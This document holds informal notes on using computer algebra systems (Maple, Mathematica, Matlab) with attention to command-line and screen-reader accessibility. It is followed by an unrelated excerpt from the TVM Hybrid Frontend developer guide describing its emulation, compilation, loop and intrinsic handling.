solve(2*(y + 4) = 0);
-4
"(->)"
still need to find out how to group and solve quad equations
Mathematica
Initialisation for usage:
1. Create a system and / or user (preferably system) environment variable for the Wolfram engine / Mathematica directory
2. Press Windows+R and then type “cmd” to open a command prompt.
3. Type either “wolfram” for the command-line client, or “mathematica” for the graphical interface.
Usage:
% stands for previous result e.g. %+6
Use a space or * for multiplication, not the “x” character e.g.
Use parentheses (not braces or brackets) to show levels of grouping e.g
Arguments to built-in functions are separated by commas and enclosed in square brackets:
If you don’t know what function to use, type = at the beginning of a line for natural-language input: e.g. = Plot a sine curve
Lists represent collections of items and are indicated by { ... } e.g. { 1,2,3} +2
construct lists with functions like Range[10]
(Use CTRL+ / to enter fractions
Put fractions over their lowest common denominator with Together:
Scientific form e.g.
Variables start with letters and can also contain numbers:
(It’s best to start with lowercase letters, reserving capitals for built-in objects
use /. and to make substitutions in an expression: e.g. 1+2x/.x→2
Define your own functions with the construction e.g f[x_]:=2x+1
:= means that any argument passed to f is substituted into the right-hand side upon evaluation: e.g. f[2] = 5
Matlab
Modes of usage:
GUI: None or possibly Maple.
CLI: Maple and Mathematica.
Web app frontend: Matlab.
Compatibility across common devices and platforms.
Installation files / process.
Maxima.
Compatibility with common screen-readers.
Ease of locating and learning commands for operation.
Flexibility and intuitivism.
Support for teachers on using CAS in CLI.
Demonstrate mathematical examples.


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Hybrid Frontend Developer Guide¶
If you are a developer:
1. who is trying writing some preliminary patterns that have not been supported by TVM yet, maybe Hybrid Frontend Language Reference is a better place for you.
who wants to know the implementing details of this module, you are right here!
Features¶
Software emulation¶
In software emulation, the most intresting thing is the decorator tvm.hybrid.script
.
This decorator helps 2 things:
Importing runtime variables
Overload the function according to the arguments passed
Correct me if I am wrong: I believe that how 1. is implemented is dangerous, but I have no
choice. What I did is add those names into python dict func.__global__
and after
the call to func
is done, those names will be cleaned up.
Overload is simple: the decorator checks the arguments’ types and determines which function should be actually called.
Backend Compilation¶
Compilation is a large module, you can see python/tvm/hybrid/var_decl.py
and
python/tvm/hybrid/parser.py
for more details. The first stage determines the
usage, or more accurately the declaration of each variable and the second stage does
the actual IR generation.
Attributes¶
So far, ONLY tensors’ shape attribute is supported. You can see visit_Subscript
in python/tvm/hybrid/parser.py
for more details. This is a hacky solution, I just
check the attributes when subscript.
Loops¶
In HalideIR, loops have in total 4 types: serial
, unrolled
, parallel
, and vectorized
.
Note
Unlike what that is in HalideIR, in loop_type(a, b)
, a
is the starting point and b
is the trip count of iterations. Here loop_type(a, b)
indicates [a, b)
. Thus, when lowering it
to HalideIR, we need to do start, extent = a, b - a
Note
In HalideIR those are enums, they are in passive form. Here we use active form to annotate loops, because they are ready to run.
Variables¶
Because there is no variables in HalideIR
, all the mutatable variables will be lowered to an array with size 1.
It takes the first store of a variable as its declaration.
Math intrinsics¶
So far, these math intrinsics, log
, exp
, sigmoid
, tanh
, power
, and popcount
, are supported.
Math intrinsics will be imported by the decorator. Most of the intrinsics are borrowed by library implementation
except popcount
and sigmoid
. I implemented them manually.


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